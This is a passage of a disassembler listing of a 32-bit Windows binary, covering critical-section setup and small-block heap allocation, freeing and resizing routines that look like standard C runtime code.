		inc	eax


loc_41A06E:				; CODE XREF: sub_41A034+47j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A071:				; CODE XREF: sub_41A034+2Fj
		and	off_432518[esi*8], 0
		xor	eax, eax
		jmp	short loc_41A06E
sub_41A034	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A07D	proc near		; CODE XREF: sub_419141p
		push	ebx
		mov	ebx, dword_422024
		push	esi
		mov	esi, offset off_432518
		push	edi


loc_41A08B:				; CODE XREF: sub_41A07D+30j
		mov	edi, [esi]
		test	edi, edi
		jz	short loc_41A0A4
		cmp	dword ptr [esi+4], 1
		jz	short loc_41A0A4
		push	edi
		call	ebx	; RtlDeleteCriticalSection
		push	edi
		call	sub_416C97
		and	dword ptr [esi], 0
		pop	ecx


loc_41A0A4:				; CODE XREF: sub_41A07D+12j
					; sub_41A07D+18j
		add	esi, 8
		cmp	esi, offset off_432638
		jl	short loc_41A08B
		mov	esi, offset off_432518
		pop	edi


loc_41A0B5:				; CODE XREF: sub_41A07D+50j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41A0C4
		cmp	dword ptr [esi+4], 1
		jnz	short loc_41A0C4
		push	eax
		call	ebx	; RtlDeleteCriticalSection


loc_41A0C4:				; CODE XREF: sub_41A07D+3Cj
					; sub_41A07D+42j
		add	esi, 8
		cmp	esi, offset off_432638
		jl	short loc_41A0B5
		pop	esi
		pop	ebx
		retn
sub_41A07D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A0D2	proc near		; CODE XREF: sub_416CEA+2p
					; sub_416D7A+2p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	off_432518[eax*8]
		call	dword_422014	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_41A0D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A0E7	proc near		; CODE XREF: sub_41A166+14p
					; sub_41B9BA+4Fp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		lea	esi, ds:432518h[esi*8]
		cmp	dword ptr [esi], 0
		jz	short loc_41A0FF
		xor	eax, eax
		inc	eax
		jmp	short loc_41A163
; ---------------------------------------------------------------------------


loc_41A0FF:				; CODE XREF: sub_41A0E7+11j
		push	edi
		push	18h
		call	sub_416DAF
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jnz	short loc_41A11D


loc_41A10E:				; CODE XREF: sub_41A0E7+63j
		call	sub_41B935
		mov	dword ptr [eax], 0Ch
		xor	eax, eax
		jmp	short loc_41A162
; ---------------------------------------------------------------------------


loc_41A11D:				; CODE XREF: sub_41A0E7+25j
		push	0Ah
		call	sub_41A166
		cmp	dword ptr [esi], 0
		pop	ecx
		jnz	short loc_41A150
		push	0FA0h
		push	edi
		call	sub_41EF60
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41A14C
		push	edi
		call	sub_416C97
		push	0Ah
		call	sub_41A0D2
		pop	ecx
		pop	ecx
		jmp	short loc_41A10E
; ---------------------------------------------------------------------------


loc_41A14C:				; CODE XREF: sub_41A0E7+52j
		mov	[esi], edi
		jmp	short loc_41A157
; ---------------------------------------------------------------------------


loc_41A150:				; CODE XREF: sub_41A0E7+41j
		push	edi
		call	sub_416C97
		pop	ecx


loc_41A157:				; CODE XREF: sub_41A0E7+67j
		push	0Ah
		call	sub_41A0D2
		xor	eax, eax
		pop	ecx
		inc	eax


loc_41A162:				; CODE XREF: sub_41A0E7+34j
		pop	edi


loc_41A163:				; CODE XREF: sub_41A0E7+16j
		pop	esi
		pop	ebp
		retn
sub_41A0E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A166	proc near		; CODE XREF: sub_416C97+1Ep
					; sub_416D08+22p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		lea	esi, ds:432518h[eax*8]
		cmp	dword ptr [esi], 0
		jnz	short loc_41A18C
		push	eax
		call	sub_41A0E7
		test	eax, eax
		pop	ecx
		jnz	short loc_41A18C
		push	11h
		call	sub_4185EA
		pop	ecx


loc_41A18C:				; CODE XREF: sub_41A166+11j
					; sub_41A166+1Cj
		push	dword ptr [esi]
		call	dword_422018	; RtlEnterCriticalSection
		pop	esi
		pop	ebp
		retn
sub_41A166	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A197	proc near		; CODE XREF: sub_419FE3+34p

arg_0		= dword	ptr  4

		push	140h
		push	0
		push	dword_482960
		call	dword_42205C	; RtlAllocateHeap
		test	eax, eax
		mov	dword_48294C, eax
		jnz	short loc_41A1B4
		retn
; ---------------------------------------------------------------------------


loc_41A1B4:				; CODE XREF: sub_41A197+1Aj
		mov	ecx, [esp+arg_0]
		and	dword_482944, 0
		and	dword_482948, 0
		mov	dword_482954, eax
		xor	eax, eax
		mov	dword_482950, ecx
		mov	dword_482958, 10h
		inc	eax
		retn
sub_41A197	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A1DF	proc near		; CODE XREF: sub_416C97+29p
					; sub_416F93+5Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_482948
		lea	ecx, [eax+eax*4]
		mov	eax, dword_48294C
		lea	ecx, [eax+ecx*4]
		jmp	short loc_41A203
; ---------------------------------------------------------------------------


loc_41A1F1:				; CODE XREF: sub_41A1DF+26j
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41A209
		add	eax, 14h


loc_41A203:				; CODE XREF: sub_41A1DF+10j
		cmp	eax, ecx
		jb	short loc_41A1F1
		xor	eax, eax

locret_41A209:				; CODE XREF: sub_41A1DF+1Fj
		retn
sub_41A1DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A20A	proc near		; CODE XREF: sub_416C97+38p
					; sub_416F93+B8p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, esi
		sub	edi, [ecx+0Ch]
		add	esi, 0FFFFFFFCh
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41A51E
		push	ebx
		lea	ebx, [ecx+esi]
		mov	edx, [ebx]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41A2D5
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41A26D
		push	3Fh
		pop	edx


loc_41A26D:				; CODE XREF: sub_41A20A+5Ej
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41A2B7
		cmp	edx, 20h
		mov	ebx, 80000000h
		jnb	short loc_41A298
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41A2B4
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41A2B4
; ---------------------------------------------------------------------------


loc_41A298:				; CODE XREF: sub_41A20A+73j
		lea	ecx, [edx-20h]
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41A2B4
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41A2B4:				; CODE XREF: sub_41A20A+85j
					; sub_41A20A+8Cj ...
		mov	ebx, [ebp+arg_4]


loc_41A2B7:				; CODE XREF: sub_41A20A+69j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx
		mov	[ebp+var_4], ecx


loc_41A2D5:				; CODE XREF: sub_41A20A+55j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41A2E3
		push	3Fh
		pop	edx


loc_41A2E3:				; CODE XREF: sub_41A20A+D4j
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41A381
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41A308
		mov	ebx, esi


loc_41A308:				; CODE XREF: sub_41A20A+FAj
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		mov	[ebp+var_4], ecx
		jbe	short loc_41A31A
		mov	edx, esi


loc_41A31A:				; CODE XREF: sub_41A20A+10Cj
		cmp	ebx, edx
		jz	short loc_41A37C
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41A364
		cmp	ebx, 20h
		mov	esi, 80000000h
		jnb	short loc_41A34A
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41A364
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41A364
; ---------------------------------------------------------------------------


loc_41A34A:				; CODE XREF: sub_41A20A+127j
		lea	ecx, [ebx-20h]
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41A364
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41A364:				; CODE XREF: sub_41A20A+11Dj
					; sub_41A20A+137j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41A37C:				; CODE XREF: sub_41A20A+112j
		mov	esi, [ebp+arg_4]
		jmp	short loc_41A384
; ---------------------------------------------------------------------------


loc_41A381:				; CODE XREF: sub_41A20A+E2j
		mov	ebx, [ebp+arg_0]


loc_41A384:				; CODE XREF: sub_41A20A+175j
		cmp	[ebp+var_C], 0
		jnz	short loc_41A392
		cmp	ebx, edx
		jz	loc_41A412


loc_41A392:				; CODE XREF: sub_41A20A+17Ej
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edx*8]
		mov	ebx, [ecx+4]
		mov	[esi+8], ecx
		mov	[esi+4], ebx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41A412
		mov	cl, [edx+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		cmp	edx, 20h
		mov	[edx+eax+4], cl
		jnb	short loc_41A3E9
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41A3D8
		mov	ecx, edx
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41A3D8:				; CODE XREF: sub_41A20A+1BEj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41A412
; ---------------------------------------------------------------------------


loc_41A3E9:				; CODE XREF: sub_41A20A+1B8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41A3FF
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41A3FF:				; CODE XREF: sub_41A20A+1E3j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41A412:				; CODE XREF: sub_41A20A+182j
					; sub_41A20A+1A6j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41A51D
		mov	eax, dword_482944
		test	eax, eax
		jz	loc_41A50F
		mov	ecx, dword_48295C
		mov	esi, dword_422190
		push	4000h
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	ebx
		push	ecx
		call	esi	; VirtualFree
		mov	ecx, dword_48295C
		mov	eax, dword_482944
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_482944
		mov	eax, [eax+10h]
		mov	ecx, dword_48295C
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_482944
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_482944
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41A4A0
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_482944


loc_41A4A0:				; CODE XREF: sub_41A20A+28Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41A50F
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi	; VirtualFree
		mov	eax, dword_482944
		push	dword ptr [eax+10h]
		push	0
		push	dword_482960
		call	dword_422058	; RtlFreeHeap
		mov	eax, dword_482948
		mov	edx, dword_48294C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_482944
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41EFF0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_482948
		cmp	eax, dword_482944
		jbe	short loc_41A505
		sub	[ebp+arg_0], 14h


loc_41A505:				; CODE XREF: sub_41A20A+2F5j
		mov	eax, dword_48294C
		mov	dword_482954, eax


loc_41A50F:				; CODE XREF: sub_41A20A+223j
					; sub_41A20A+29Aj
		mov	eax, [ebp+arg_0]
		mov	dword_482944, eax
		mov	dword_48295C, edi


loc_41A51D:				; CODE XREF: sub_41A20A+216j
		pop	ebx


loc_41A51E:				; CODE XREF: sub_41A20A+37j
		pop	edi
		pop	esi
		leave
		retn
sub_41A20A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A522	proc near		; CODE XREF: sub_41A9BE+150p
		mov	eax, dword_482948
		mov	ecx, dword_482958
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41A568
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_48294C
		push	edi
		push	dword_482960
		call	dword_42215C	; RtlReAllocateHeap
		cmp	eax, edi
		jnz	short loc_41A557
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41A557:				; CODE XREF: sub_41A522+2Fj
		add	dword_482958, 10h
		mov	dword_48294C, eax
		mov	eax, dword_482948


loc_41A568:				; CODE XREF: sub_41A522+10j
		mov	ecx, dword_48294C
		push	esi
		push	41C4h
		push	8
		push	dword_482960
		lea	eax, [eax+eax*4]
		lea	esi, [ecx+eax*4]
		call	dword_42205C	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jnz	short loc_41A593


loc_41A58F:				; CODE XREF: sub_41A522+9Bj
		xor	eax, eax
		jmp	short loc_41A5D6
; ---------------------------------------------------------------------------


loc_41A593:				; CODE XREF: sub_41A522+6Bj
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_422194	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41A5BF
		push	dword ptr [esi+10h]
		push	edi
		push	dword_482960
		call	dword_422058	; RtlFreeHeap
		jmp	short loc_41A58F
; ---------------------------------------------------------------------------


loc_41A5BF:				; CODE XREF: sub_41A522+89j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_482948
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41A5D6:				; CODE XREF: sub_41A522+6Fj
		pop	esi
		pop	edi
		retn
sub_41A522	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A5D9	proc near		; CODE XREF: sub_41A9BE+15Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+8]
		push	ebx
		push	esi
		mov	esi, [ecx+10h]
		push	edi
		xor	ebx, ebx
		jmp	short loc_41A5F1
; ---------------------------------------------------------------------------


loc_41A5EE:				; CODE XREF: sub_41A5D9+1Aj
		shl	eax, 1
		inc	ebx


loc_41A5F1:				; CODE XREF: sub_41A5D9+13j
		test	eax, eax
		jge	short loc_41A5EE
		mov	eax, ebx
		imul	eax, 204h
		lea	eax, [eax+esi+144h]
		push	3Fh
		mov	[ebp+var_8], eax
		pop	edx


loc_41A60A:				; CODE XREF: sub_41A5D9+3Bj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41A60A
		push	4
		mov	edi, ebx
		push	1000h
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	8000h
		push	edi
		call	dword_422194	; VirtualAlloc
		test	eax, eax
		jnz	short loc_41A63D
		or	eax, 0FFFFFFFFh
		jmp	loc_41A6DA
; ---------------------------------------------------------------------------


loc_41A63D:				; CODE XREF: sub_41A5D9+5Aj
		lea	edx, [edi+7000h]
		cmp	edi, edx
		mov	[ebp+var_4], edx
		ja	short loc_41A68D
		mov	ecx, edx
		sub	ecx, edi
		shr	ecx, 0Ch
		lea	eax, [edi+10h]
		inc	ecx


loc_41A655:				; CODE XREF: sub_41A5D9+AFj
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	edx, [eax+0FFCh]
		mov	[eax], edx
		lea	edx, [eax-1004h]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax+4], edx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		dec	ecx
		jnz	short loc_41A655
		mov	edx, [ebp+var_4]


loc_41A68D:				; CODE XREF: sub_41A5D9+6Fj
		mov	eax, [ebp+var_8]
		add	eax, 1F8h
		lea	ecx, [edi+0Ch]
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		xor	edi, edi
		inc	edi
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41A6CA
		or	[eax+4], edi


loc_41A6CA:				; CODE XREF: sub_41A5D9+ECj
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41A6DA:				; CODE XREF: sub_41A5D9+5Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A5D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6DF	proc near		; CODE XREF: sub_416F93+77p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+10h]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		sub	edx, [ecx+0Ch]
		add	esi, 17h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		and	esi, 0FFFFFFF0h
		dec	ecx
		cmp	esi, ecx
		lea	edi, [ecx+edi-4]
		mov	ebx, [edi]
		mov	[ebp+arg_8], ecx
		mov	[ebp+var_4], ebx
		jle	loc_41A881
		test	bl, 1
		jnz	loc_41A87A
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41A87A
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41A754
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41A754:				; CODE XREF: sub_41A6DF+6Dj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41A79F
		cmp	ecx, 20h
		mov	ebx, 80000000h
		jnb	short loc_41A780
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41A79F
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41A79F
; ---------------------------------------------------------------------------


loc_41A780:				; CODE XREF: sub_41A6DF+85j
		add	ecx, 0FFFFFFE0h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41A79F
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41A79F:				; CODE XREF: sub_41A6DF+7Bj
					; sub_41A6DF+98j ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41A868
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		lea	ecx, [ecx+esi-4]
		jbe	short loc_41A7D9
		push	3Fh
		pop	edi


loc_41A7D9:				; CODE XREF: sub_41A6DF+F5j
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41A856
		mov	cl, [edi+eax+4]
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		cmp	edi, 20h
		mov	[edi+eax+4], cl
		jnb	short loc_41A82D
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41A825
		mov	ecx, edi
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41A825:				; CODE XREF: sub_41A6DF+136j
		lea	eax, [eax+edx*4+44h]
		mov	ecx, edi
		jmp	short loc_41A84D
; ---------------------------------------------------------------------------


loc_41A82D:				; CODE XREF: sub_41A6DF+130j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41A843
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41A843:				; CODE XREF: sub_41A6DF+152j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]


loc_41A84D:				; CODE XREF: sub_41A6DF+14Cj
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx


loc_41A856:				; CODE XREF: sub_41A6DF+11Ej
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41A86B
; ---------------------------------------------------------------------------


loc_41A868:				; CODE XREF: sub_41A6DF+DEj
		mov	edx, [ebp+arg_4]


loc_41A86B:				; CODE XREF: sub_41A6DF+187j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41A9B6
; ---------------------------------------------------------------------------


loc_41A87A:				; CODE XREF: sub_41A6DF+50j
					; sub_41A6DF+5Aj
		xor	eax, eax
		jmp	loc_41A9B9
; ---------------------------------------------------------------------------


loc_41A881:				; CODE XREF: sub_41A6DF+47j
		jge	loc_41A9B6
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+arg_4], ebx
		mov	[ebx-4], ecx
		jbe	short loc_41A8AC
		push	3Fh
		pop	esi


loc_41A8AC:				; CODE XREF: sub_41A6DF+1C8j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41A936
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41A8C5
		push	3Fh
		pop	esi


loc_41A8C5:				; CODE XREF: sub_41A6DF+1E1j
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41A90F
		cmp	esi, 20h
		mov	ebx, 80000000h
		jnb	short loc_41A8F0
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41A90C
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41A90C
; ---------------------------------------------------------------------------


loc_41A8F0:				; CODE XREF: sub_41A6DF+1F6j
		lea	ecx, [esi-20h]
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41A90C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41A90C:				; CODE XREF: sub_41A6DF+208j
					; sub_41A6DF+20Fj ...
		mov	ebx, [ebp+arg_4]


loc_41A90F:				; CODE XREF: sub_41A6DF+1ECj
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	esi, [edi+8]
		mov	ecx, [edi+4]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41A936
		push	3Fh
		pop	esi


loc_41A936:				; CODE XREF: sub_41A6DF+1D1j
					; sub_41A6DF+252j
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[ebx+8], ecx
		mov	[ebx+4], edi
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41A9AD
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jnb	short loc_41A984
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41A97C
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41A97C:				; CODE XREF: sub_41A6DF+28Dj
		lea	eax, [eax+edx*4+44h]
		mov	ecx, esi
		jmp	short loc_41A9A4
; ---------------------------------------------------------------------------


loc_41A984:				; CODE XREF: sub_41A6DF+287j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41A99A
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41A99A:				; CODE XREF: sub_41A6DF+2A9j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]


loc_41A9A4:				; CODE XREF: sub_41A6DF+2A3j
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx


loc_41A9AD:				; CODE XREF: sub_41A6DF+275j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41A9B6:				; CODE XREF: sub_41A6DF+196j
					; sub_41A6DF:loc_41A881j
		xor	eax, eax
		inc	eax


loc_41A9B9:				; CODE XREF: sub_41A6DF+19Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A9BE	proc near		; CODE XREF: sub_416D08+2Dp
					; sub_416F93+89p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
